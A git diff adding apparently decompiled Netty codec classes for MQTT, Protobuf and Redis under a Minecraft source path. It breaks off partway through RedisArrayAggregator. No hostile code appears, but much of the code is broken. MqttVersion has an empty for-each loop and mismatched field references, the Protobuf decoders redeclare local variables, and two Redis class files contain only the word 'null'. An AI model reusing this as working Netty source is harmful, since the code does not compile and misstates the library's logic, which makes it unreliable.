+
+
+
+
+
+
+
+
+
+
+
+
+public final class MqttUnsubscribePayload
+{
+  private final List<String> topics;
+  
+  public MqttUnsubscribePayload(List<String> topics)
+  {
+    this.topics = Collections.unmodifiableList(topics);
+  }
+  
+  public List<String> topics() {
+    return topics;
+  }
+  
+  public String toString()
+  {
+    StringBuilder builder = new StringBuilder(StringUtil.simpleClassName(this)).append('[');
+    for (int i = 0; i < topics.size() - 1; i++) {
+      builder.append("topicName = ").append((String)topics.get(i)).append(", ");
+    }
+    builder.append("topicName = ").append((String)topics.get(topics.size() - 1)).append(']');
+    
+    return builder.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttVersion.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttVersion.java
new file mode 100644
index 0000000..0c49654
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttVersion.java
@@ -0,0 +1,62 @@
+package io.netty.handler.codec.mqtt;
+
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum MqttVersion
+{
+  MQTT_3_1("MQIsdp", (byte)3), 
+  MQTT_3_1_1("MQTT", (byte)4);
+  
+  private final String name;
+  private final byte level;
+  
+  private MqttVersion(String protocolName, byte protocolLevel) {
+    name = ((String)ObjectUtil.checkNotNull(protocolName, "protocolName"));
+    level = protocolLevel;
+  }
+  
+  public String protocolName() {
+    return name;
+  }
+  
+  public byte[] protocolNameBytes() {
+    return name.getBytes(CharsetUtil.UTF_8);
+  }
+  
+  public byte protocolLevel() {
+    return level;
+  }
+  
+  public static MqttVersion fromProtocolNameAndLevel(String protocolName, byte protocolLevel) {
+    for (MqttVersion mv : ) {
+      if (name.equals(protocolName)) {
+        if (level == protocolLevel) {
+          return mv;
+        }
+        throw new MqttUnacceptableProtocolVersionException(protocolName + " and " + protocolLevel + " are not match");
+      }
+    }
+    
+
+    throw new MqttUnacceptableProtocolVersionException(protocolName + "is unknown protocol name");
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/protobuf/ProtobufDecoder.java b/src/minecraft/io/netty/handler/codec/protobuf/ProtobufDecoder.java
new file mode 100644
index 0000000..57ccf38
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/protobuf/ProtobufDecoder.java
@@ -0,0 +1,125 @@
+package io.netty.handler.codec.protobuf;
+
+import com.google.protobuf.ExtensionRegistry;
+import com.google.protobuf.MessageLite;
+import com.google.protobuf.MessageLite.Builder;
+import com.google.protobuf.Parser;
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToMessageDecoder;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class ProtobufDecoder
+  extends MessageToMessageDecoder<ByteBuf>
+{
+  private static final boolean HAS_PARSER;
+  private final MessageLite prototype;
+  private final ExtensionRegistry extensionRegistry;
+  
+  static
+  {
+    boolean hasParser = false;
+    try
+    {
+      MessageLite.class.getDeclaredMethod("getParserForType", new Class[0]);
+      hasParser = true;
+    }
+    catch (Throwable t) {}
+    
+
+    HAS_PARSER = hasParser;
+  }
+  
+
+
+
+
+
+  public ProtobufDecoder(MessageLite prototype)
+  {
+    this(prototype, null);
+  }
+  
+  public ProtobufDecoder(MessageLite prototype, ExtensionRegistry extensionRegistry) {
+    if (prototype == null) {
+      throw new NullPointerException("prototype");
+    }
+    this.prototype = prototype.getDefaultInstanceForType();
+    this.extensionRegistry = extensionRegistry;
+  }
+  
+
+  protected void decode(ChannelHandlerContext ctx, ByteBuf msg, List<Object> out)
+    throws Exception
+  {
+    int length = msg.readableBytes();
+    int offset; byte[] array; int offset; if (msg.hasArray()) {
+      byte[] array = msg.array();
+      offset = msg.arrayOffset() + msg.readerIndex();
+    } else {
+      array = new byte[length];
+      msg.getBytes(msg.readerIndex(), array, 0, length);
+      offset = 0;
+    }
+    
+    if (extensionRegistry == null) {
+      if (HAS_PARSER) {
+        out.add(prototype.getParserForType().parseFrom(array, offset, length));
+      } else {
+        out.add(prototype.newBuilderForType().mergeFrom(array, offset, length).build());
+      }
+    }
+    else if (HAS_PARSER) {
+      out.add(prototype.getParserForType().parseFrom(array, offset, length, extensionRegistry));
+    } else {
+      out.add(prototype.newBuilderForType().mergeFrom(array, offset, length, extensionRegistry).build());
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/protobuf/ProtobufDecoderNano.java b/src/minecraft/io/netty/handler/codec/protobuf/ProtobufDecoderNano.java
new file mode 100644
index 0000000..e11022c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/protobuf/ProtobufDecoderNano.java
@@ -0,0 +1,88 @@
+package io.netty.handler.codec.protobuf;
+
+import com.google.protobuf.nano.MessageNano;
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToMessageDecoder;
+import io.netty.util.internal.ObjectUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class ProtobufDecoderNano
+  extends MessageToMessageDecoder<ByteBuf>
+{
+  private final Class<? extends MessageNano> clazz;
+  
+  public ProtobufDecoderNano(Class<? extends MessageNano> clazz)
+  {
+    this.clazz = ((Class)ObjectUtil.checkNotNull(clazz, "You must provide a Class"));
+  }
+  
+
+
+  protected void decode(ChannelHandlerContext ctx, ByteBuf msg, List<Object> out)
+    throws Exception
+  {
+    int length = msg.readableBytes();
+    int offset; byte[] array; int offset; if (msg.hasArray()) {
+      byte[] array = msg.array();
+      offset = msg.arrayOffset() + msg.readerIndex();
+    } else {
+      array = new byte[length];
+      msg.getBytes(msg.readerIndex(), array, 0, length);
+      offset = 0;
+    }
+    MessageNano prototype = (MessageNano)clazz.newInstance();
+    out.add(MessageNano.mergeFrom(prototype, array, offset, length));
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/protobuf/ProtobufEncoder.java b/src/minecraft/io/netty/handler/codec/protobuf/ProtobufEncoder.java
new file mode 100644
index 0000000..e5c3bc6
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/protobuf/ProtobufEncoder.java
@@ -0,0 +1,73 @@
+package io.netty.handler.codec.protobuf;
+
+import com.google.protobuf.MessageLite;
+import com.google.protobuf.MessageLite.Builder;
+import com.google.protobuf.MessageLiteOrBuilder;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToMessageEncoder;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class ProtobufEncoder
+  extends MessageToMessageEncoder<MessageLiteOrBuilder>
+{
+  public ProtobufEncoder() {}
+  
+  protected void encode(ChannelHandlerContext ctx, MessageLiteOrBuilder msg, List<Object> out)
+    throws Exception
+  {
+    if ((msg instanceof MessageLite)) {
+      out.add(Unpooled.wrappedBuffer(((MessageLite)msg).toByteArray()));
+      return;
+    }
+    if ((msg instanceof MessageLite.Builder)) {
+      out.add(Unpooled.wrappedBuffer(((MessageLite.Builder)msg).build().toByteArray()));
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/protobuf/ProtobufEncoderNano.java b/src/minecraft/io/netty/handler/codec/protobuf/ProtobufEncoderNano.java
new file mode 100644
index 0000000..71284b5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/protobuf/ProtobufEncoderNano.java
@@ -0,0 +1,73 @@
+package io.netty.handler.codec.protobuf;
+
+import com.google.protobuf.nano.CodedOutputByteBufferNano;
+import com.google.protobuf.nano.MessageNano;
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToMessageEncoder;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class ProtobufEncoderNano
+  extends MessageToMessageEncoder<MessageNano>
+{
+  public ProtobufEncoderNano() {}
+  
+  protected void encode(ChannelHandlerContext ctx, MessageNano msg, List<Object> out)
+    throws Exception
+  {
+    int size = msg.getSerializedSize();
+    ByteBuf buffer = ctx.alloc().heapBuffer(size, size);
+    byte[] array = buffer.array();
+    CodedOutputByteBufferNano cobbn = CodedOutputByteBufferNano.newInstance(array, buffer.arrayOffset(), buffer.capacity());
+    
+    msg.writeTo(cobbn);
+    buffer.writerIndex(size);
+    out.add(buffer);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/protobuf/ProtobufVarint32FrameDecoder.java b/src/minecraft/io/netty/handler/codec/protobuf/ProtobufVarint32FrameDecoder.java
new file mode 100644
index 0000000..1914a48
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/protobuf/ProtobufVarint32FrameDecoder.java
@@ -0,0 +1,77 @@
+package io.netty.handler.codec.protobuf;
+
+import com.google.protobuf.CodedInputStream;
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.ByteToMessageDecoder;
+import io.netty.handler.codec.CorruptedFrameException;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ProtobufVarint32FrameDecoder
+  extends ByteToMessageDecoder
+{
+  public ProtobufVarint32FrameDecoder() {}
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out)
+    throws Exception
+  {
+    in.markReaderIndex();
+    byte[] buf = new byte[5];
+    for (int i = 0; i < buf.length; i++) {
+      if (!in.isReadable()) {
+        in.resetReaderIndex();
+        return;
+      }
+      
+      buf[i] = in.readByte();
+      if (buf[i] >= 0) {
+        int length = CodedInputStream.newInstance(buf, 0, i + 1).readRawVarint32();
+        if (length < 0) {
+          throw new CorruptedFrameException("negative length: " + length);
+        }
+        
+        if (in.readableBytes() < length) {
+          in.resetReaderIndex();
+          return;
+        }
+        out.add(in.readBytes(length));
+        return;
+      }
+    }
+    
+
+
+    throw new CorruptedFrameException("length wider than 32-bit");
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/protobuf/ProtobufVarint32LengthFieldPrepender.java b/src/minecraft/io/netty/handler/codec/protobuf/ProtobufVarint32LengthFieldPrepender.java
new file mode 100644
index 0000000..1884158
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/protobuf/ProtobufVarint32LengthFieldPrepender.java
@@ -0,0 +1,56 @@
+package io.netty.handler.codec.protobuf;
+
+import com.google.protobuf.CodedOutputStream;
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufOutputStream;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToByteEncoder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class ProtobufVarint32LengthFieldPrepender
+  extends MessageToByteEncoder<ByteBuf>
+{
+  public ProtobufVarint32LengthFieldPrepender() {}
+  
+  protected void encode(ChannelHandlerContext ctx, ByteBuf msg, ByteBuf out)
+    throws Exception
+  {
+    int bodyLen = msg.readableBytes();
+    int headerLen = CodedOutputStream.computeRawVarint32Size(bodyLen);
+    out.ensureWritable(headerLen + bodyLen);
+    
+    CodedOutputStream headerOut = CodedOutputStream.newInstance(new ByteBufOutputStream(out), headerLen);
+    
+    headerOut.writeRawVarint32(bodyLen);
+    headerOut.flush();
+    
+    out.writeBytes(msg, msg.readerIndex(), bodyLen);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/redis/AbstractStringRedisMessage.java b/src/minecraft/io/netty/handler/codec/redis/AbstractStringRedisMessage.java
new file mode 100644
index 0000000..bc13fdf
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/AbstractStringRedisMessage.java
@@ -0,0 +1,41 @@
+package io.netty.handler.codec.redis;
+
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractStringRedisMessage
+  implements RedisMessage
+{
+  private final String content;
+  
+  AbstractStringRedisMessage(String content)
+  {
+    this.content = ((String)ObjectUtil.checkNotNull(content, "content"));
+  }
+  
+
+
+
+
+  public final String content()
+  {
+    return content;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/redis/ArrayHeaderRedisMessage.java b/src/minecraft/io/netty/handler/codec/redis/ArrayHeaderRedisMessage.java
new file mode 100644
index 0000000..4940b8f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/ArrayHeaderRedisMessage.java
@@ -0,0 +1,59 @@
+package io.netty.handler.codec.redis;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ArrayHeaderRedisMessage
+  implements RedisMessage
+{
+  private final long length;
+  
+  public ArrayHeaderRedisMessage(long length)
+  {
+    if (length < -1L) {
+      throw new RedisCodecException("length: " + length + " (expected: >= " + -1 + ")");
+    }
+    this.length = length;
+  }
+  
+
+
+  public final long length()
+  {
+    return length;
+  }
+  
+
+
+
+
+  public boolean isNull()
+  {
+    return length == -1L;
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + '[' + "length=" + length + ']';
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/redis/ArrayRedisMessage.java b/src/minecraft/io/netty/handler/codec/redis/ArrayRedisMessage.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/ArrayRedisMessage.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/io/netty/handler/codec/redis/BulkStringHeaderRedisMessage.java b/src/minecraft/io/netty/handler/codec/redis/BulkStringHeaderRedisMessage.java
new file mode 100644
index 0000000..57085a3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/BulkStringHeaderRedisMessage.java
@@ -0,0 +1,55 @@
+package io.netty.handler.codec.redis;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BulkStringHeaderRedisMessage
+  implements RedisMessage
+{
+  private final int bulkStringLength;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public BulkStringHeaderRedisMessage(int bulkStringLength)
+  {
+    if (bulkStringLength <= 0) {
+      throw new RedisCodecException("bulkStringLength: " + bulkStringLength + " (expected: > 0)");
+    }
+    this.bulkStringLength = bulkStringLength;
+  }
+  
+
+
+  public final int bulkStringLength()
+  {
+    return bulkStringLength;
+  }
+  
+
+
+
+
+  public boolean isNull()
+  {
+    return bulkStringLength == -1;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/redis/BulkStringRedisContent.java b/src/minecraft/io/netty/handler/codec/redis/BulkStringRedisContent.java
new file mode 100644
index 0000000..efa0008
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/BulkStringRedisContent.java
@@ -0,0 +1,24 @@
+package io.netty.handler.codec.redis;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufHolder;
+
+public abstract interface BulkStringRedisContent
+  extends RedisMessage, ByteBufHolder
+{
+  public abstract BulkStringRedisContent copy();
+  
+  public abstract BulkStringRedisContent duplicate();
+  
+  public abstract BulkStringRedisContent retainedDuplicate();
+  
+  public abstract BulkStringRedisContent replace(ByteBuf paramByteBuf);
+  
+  public abstract BulkStringRedisContent retain();
+  
+  public abstract BulkStringRedisContent retain(int paramInt);
+  
+  public abstract BulkStringRedisContent touch();
+  
+  public abstract BulkStringRedisContent touch(Object paramObject);
+}
diff --git a/src/minecraft/io/netty/handler/codec/redis/DefaultBulkStringRedisContent.java b/src/minecraft/io/netty/handler/codec/redis/DefaultBulkStringRedisContent.java
new file mode 100644
index 0000000..70b6ca0
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/DefaultBulkStringRedisContent.java
@@ -0,0 +1,86 @@
+package io.netty.handler.codec.redis;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.DefaultByteBufHolder;
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultBulkStringRedisContent
+  extends DefaultByteBufHolder
+  implements BulkStringRedisContent
+{
+  public DefaultBulkStringRedisContent(ByteBuf content)
+  {
+    super(content);
+  }
+  
+  public BulkStringRedisContent copy()
+  {
+    return (BulkStringRedisContent)super.copy();
+  }
+  
+  public BulkStringRedisContent duplicate()
+  {
+    return (BulkStringRedisContent)super.duplicate();
+  }
+  
+  public BulkStringRedisContent retainedDuplicate()
+  {
+    return (BulkStringRedisContent)super.retainedDuplicate();
+  }
+  
+  public BulkStringRedisContent replace(ByteBuf content)
+  {
+    return new DefaultBulkStringRedisContent(content);
+  }
+  
+  public BulkStringRedisContent retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public BulkStringRedisContent retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+  
+  public BulkStringRedisContent touch()
+  {
+    super.touch();
+    return this;
+  }
+  
+  public BulkStringRedisContent touch(Object hint)
+  {
+    super.touch(hint);
+    return this;
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + '[' + "content=" + content() + ']';
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/redis/DefaultLastBulkStringRedisContent.java b/src/minecraft/io/netty/handler/codec/redis/DefaultLastBulkStringRedisContent.java
new file mode 100644
index 0000000..e1bf459
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/DefaultLastBulkStringRedisContent.java
@@ -0,0 +1,79 @@
+package io.netty.handler.codec.redis;
+
+import io.netty.buffer.ByteBuf;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DefaultLastBulkStringRedisContent
+  extends DefaultBulkStringRedisContent
+  implements LastBulkStringRedisContent
+{
+  public DefaultLastBulkStringRedisContent(ByteBuf content)
+  {
+    super(content);
+  }
+  
+  public LastBulkStringRedisContent copy()
+  {
+    return (LastBulkStringRedisContent)super.copy();
+  }
+  
+  public LastBulkStringRedisContent duplicate()
+  {
+    return (LastBulkStringRedisContent)super.duplicate();
+  }
+  
+  public LastBulkStringRedisContent retainedDuplicate()
+  {
+    return (LastBulkStringRedisContent)super.retainedDuplicate();
+  }
+  
+  public LastBulkStringRedisContent replace(ByteBuf content)
+  {
+    return new DefaultLastBulkStringRedisContent(content);
+  }
+  
+  public LastBulkStringRedisContent retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public LastBulkStringRedisContent retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+  
+  public LastBulkStringRedisContent touch()
+  {
+    super.touch();
+    return this;
+  }
+  
+  public LastBulkStringRedisContent touch(Object hint)
+  {
+    super.touch(hint);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/redis/ErrorRedisMessage.java b/src/minecraft/io/netty/handler/codec/redis/ErrorRedisMessage.java
new file mode 100644
index 0000000..70733e2
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/ErrorRedisMessage.java
@@ -0,0 +1,40 @@
+package io.netty.handler.codec.redis;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ErrorRedisMessage
+  extends AbstractStringRedisMessage
+{
+  public ErrorRedisMessage(String content)
+  {
+    super(content);
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + '[' + "content=" + content() + ']';
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/redis/FixedRedisMessagePool.java b/src/minecraft/io/netty/handler/codec/redis/FixedRedisMessagePool.java
new file mode 100644
index 0000000..9c94993
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/FixedRedisMessagePool.java
@@ -0,0 +1,154 @@
+package io.netty.handler.codec.redis;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.util.CharsetUtil;
+import io.netty.util.collection.LongObjectHashMap;
+import io.netty.util.collection.LongObjectMap;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class FixedRedisMessagePool
+  implements RedisMessagePool
+{
+  private static final String[] DEFAULT_SIMPLE_STRINGS = { "OK", "PONG", "QUEUED" };
+  
+
+
+
+
+  private static final String[] DEFAULT_ERRORS = { "ERR", "ERR index out of range", "ERR no such key", "ERR source and destination objects are the same", "ERR syntax error", "BUSY Redis is busy running a script. You can only call SCRIPT KILL or SHUTDOWN NOSAVE.", "BUSYKEY Target key name already exists.", "EXECABORT Transaction discarded because of previous errors.", "LOADING Redis is loading the dataset in memory", "MASTERDOWN Link with MASTER is down and slave-serve-stale-data is set to 'no'.", "MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs for details about the error.", "NOAUTH Authentication required.", "NOREPLICAS Not enough good slaves to write.", "NOSCRIPT No matching script. Please use EVAL.", "OOM command not allowed when used memory > 'maxmemory'.", "READONLY You can't write against a read only slave.", "WRONGTYPE Operation against a key holding the wrong kind of value" };
+  
+
+
+
+
+
+
+  private static final long MIN_CACHED_INTEGER_NUMBER = -1L;
+  
+
+
+
+
+
+
+  private static final long MAX_CACHED_INTEGER_NUMBER = 128L;
+  
+
+
+
+
+
+
+  private static final int SIZE_CACHED_INTEGER_NUMBER = 129;
+  
+
+
+
+
+
+  public static final FixedRedisMessagePool INSTANCE = new FixedRedisMessagePool();
+  
+  private Map<ByteBuf, SimpleStringRedisMessage> byteBufToSimpleStrings;
+  
+  private Map<String, SimpleStringRedisMessage> stringToSimpleStrings;
+  
+  private Map<ByteBuf, ErrorRedisMessage> byteBufToErrors;
+  
+  private Map<String, ErrorRedisMessage> stringToErrors;
+  private Map<ByteBuf, IntegerRedisMessage> byteBufToIntegers;
+  private LongObjectMap<IntegerRedisMessage> longToIntegers;
+  private LongObjectMap<byte[]> longToByteBufs;
+  
+  private FixedRedisMessagePool()
+  {
+    byteBufToSimpleStrings = new HashMap(DEFAULT_SIMPLE_STRINGS.length, 1.0F);
+    stringToSimpleStrings = new HashMap(DEFAULT_SIMPLE_STRINGS.length, 1.0F);
+    for (String message : DEFAULT_SIMPLE_STRINGS) {
+      ByteBuf key = Unpooled.unmodifiableBuffer(Unpooled.unreleasableBuffer(Unpooled.wrappedBuffer(message.getBytes(CharsetUtil.UTF_8))));
+      
+      SimpleStringRedisMessage cached = new SimpleStringRedisMessage(message);
+      byteBufToSimpleStrings.put(key, cached);
+      stringToSimpleStrings.put(message, cached);
+    }
+    
+    byteBufToErrors = new HashMap(DEFAULT_ERRORS.length, 1.0F);
+    stringToErrors = new HashMap(DEFAULT_ERRORS.length, 1.0F);
+    for (String message : DEFAULT_ERRORS) {
+      ByteBuf key = Unpooled.unmodifiableBuffer(Unpooled.unreleasableBuffer(Unpooled.wrappedBuffer(message.getBytes(CharsetUtil.UTF_8))));
+      
+      ErrorRedisMessage cached = new ErrorRedisMessage(message);
+      byteBufToErrors.put(key, cached);
+      stringToErrors.put(message, cached);
+    }
+    
+    byteBufToIntegers = new HashMap(129, 1.0F);
+    longToIntegers = new LongObjectHashMap(129, 1.0F);
+    longToByteBufs = new LongObjectHashMap(129, 1.0F);
+    for (long value = -1L; value < 128L; value += 1L) {
+      byte[] keyBytes = RedisCodecUtil.longToAsciiBytes(value);
+      ByteBuf keyByteBuf = Unpooled.unmodifiableBuffer(Unpooled.unreleasableBuffer(Unpooled.wrappedBuffer(keyBytes)));
+      
+      IntegerRedisMessage cached = new IntegerRedisMessage(value);
+      byteBufToIntegers.put(keyByteBuf, cached);
+      longToIntegers.put(value, cached);
+      longToByteBufs.put(value, keyBytes);
+    }
+  }
+  
+  public SimpleStringRedisMessage getSimpleString(String content)
+  {
+    return (SimpleStringRedisMessage)stringToSimpleStrings.get(content);
+  }
+  
+  public SimpleStringRedisMessage getSimpleString(ByteBuf content)
+  {
+    return (SimpleStringRedisMessage)byteBufToSimpleStrings.get(content);
+  }
+  
+  public ErrorRedisMessage getError(String content)
+  {
+    return (ErrorRedisMessage)stringToErrors.get(content);
+  }
+  
+  public ErrorRedisMessage getError(ByteBuf content)
+  {
+    return (ErrorRedisMessage)byteBufToErrors.get(content);
+  }
+  
+  public IntegerRedisMessage getInteger(long value)
+  {
+    return (IntegerRedisMessage)longToIntegers.get(value);
+  }
+  
+  public IntegerRedisMessage getInteger(ByteBuf content)
+  {
+    return (IntegerRedisMessage)byteBufToIntegers.get(content);
+  }
+  
+  public byte[] getByteBufOfInteger(long value)
+  {
+    return (byte[])longToByteBufs.get(value);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/redis/FullBulkStringRedisMessage.java b/src/minecraft/io/netty/handler/codec/redis/FullBulkStringRedisMessage.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/FullBulkStringRedisMessage.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/io/netty/handler/codec/redis/IntegerRedisMessage.java b/src/minecraft/io/netty/handler/codec/redis/IntegerRedisMessage.java
new file mode 100644
index 0000000..e79bc52
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/IntegerRedisMessage.java
@@ -0,0 +1,51 @@
+package io.netty.handler.codec.redis;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class IntegerRedisMessage
+  implements RedisMessage
+{
+  private final long value;
+  
+  public IntegerRedisMessage(long value)
+  {
+    this.value = value;
+  }
+  
+
+
+
+
+  public long value()
+  {
+    return value;
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + '[' + "value=" + value + ']';
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/redis/LastBulkStringRedisContent.java b/src/minecraft/io/netty/handler/codec/redis/LastBulkStringRedisContent.java
new file mode 100644
index 0000000..ba9b388
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/LastBulkStringRedisContent.java
@@ -0,0 +1,109 @@
+package io.netty.handler.codec.redis;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface LastBulkStringRedisContent
+  extends BulkStringRedisContent
+{
+  public static final LastBulkStringRedisContent EMPTY_LAST_CONTENT = new LastBulkStringRedisContent()
+  {
+    public ByteBuf content()
+    {
+      return Unpooled.EMPTY_BUFFER;
+    }
+    
+    public LastBulkStringRedisContent copy()
+    {
+      return this;
+    }
+    
+    public LastBulkStringRedisContent duplicate()
+    {
+      return this;
+    }
+    
+    public LastBulkStringRedisContent retainedDuplicate()
+    {
+      return this;
+    }
+    
+    public LastBulkStringRedisContent replace(ByteBuf content)
+    {
+      return new DefaultLastBulkStringRedisContent(content);
+    }
+    
+    public LastBulkStringRedisContent retain(int increment)
+    {
+      return this;
+    }
+    
+    public LastBulkStringRedisContent retain()
+    {
+      return this;
+    }
+    
+    public int refCnt()
+    {
+      return 1;
+    }
+    
+    public LastBulkStringRedisContent touch()
+    {
+      return this;
+    }
+    
+    public LastBulkStringRedisContent touch(Object hint)
+    {
+      return this;
+    }
+    
+    public boolean release()
+    {
+      return false;
+    }
+    
+    public boolean release(int decrement)
+    {
+      return false;
+    }
+  };
+  
+  public abstract LastBulkStringRedisContent copy();
+  
+  public abstract LastBulkStringRedisContent duplicate();
+  
+  public abstract LastBulkStringRedisContent retainedDuplicate();
+  
+  public abstract LastBulkStringRedisContent replace(ByteBuf paramByteBuf);
+  
+  public abstract LastBulkStringRedisContent retain();
+  
+  public abstract LastBulkStringRedisContent retain(int paramInt);
+  
+  public abstract LastBulkStringRedisContent touch();
+  
+  public abstract LastBulkStringRedisContent touch(Object paramObject);
+}
diff --git a/src/minecraft/io/netty/handler/codec/redis/RedisArrayAggregator.java b/src/minecraft/io/netty/handler/codec/redis/RedisArrayAggregator.java
new file mode 100644
index 0000000..6258de7
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/RedisArrayAggregator.java
@@ -0,0 +1,93 @@
+package io.netty.handler.codec.redis;
+
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.CodecException;
+import io.netty.handler.codec.MessageToMessageDecoder;
+import io.netty.util.ReferenceCountUtil;
+import java.util.ArrayDeque;
+import java.util.ArrayList;
+import java.util.Deque;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class RedisArrayAggregator
+  extends MessageToMessageDecoder<RedisMessage>
+{
+  private final Deque<AggregateState> depths;
+  
+  public RedisArrayAggregator()
+  {
+    depths = new ArrayDeque(4);
+  }
+  
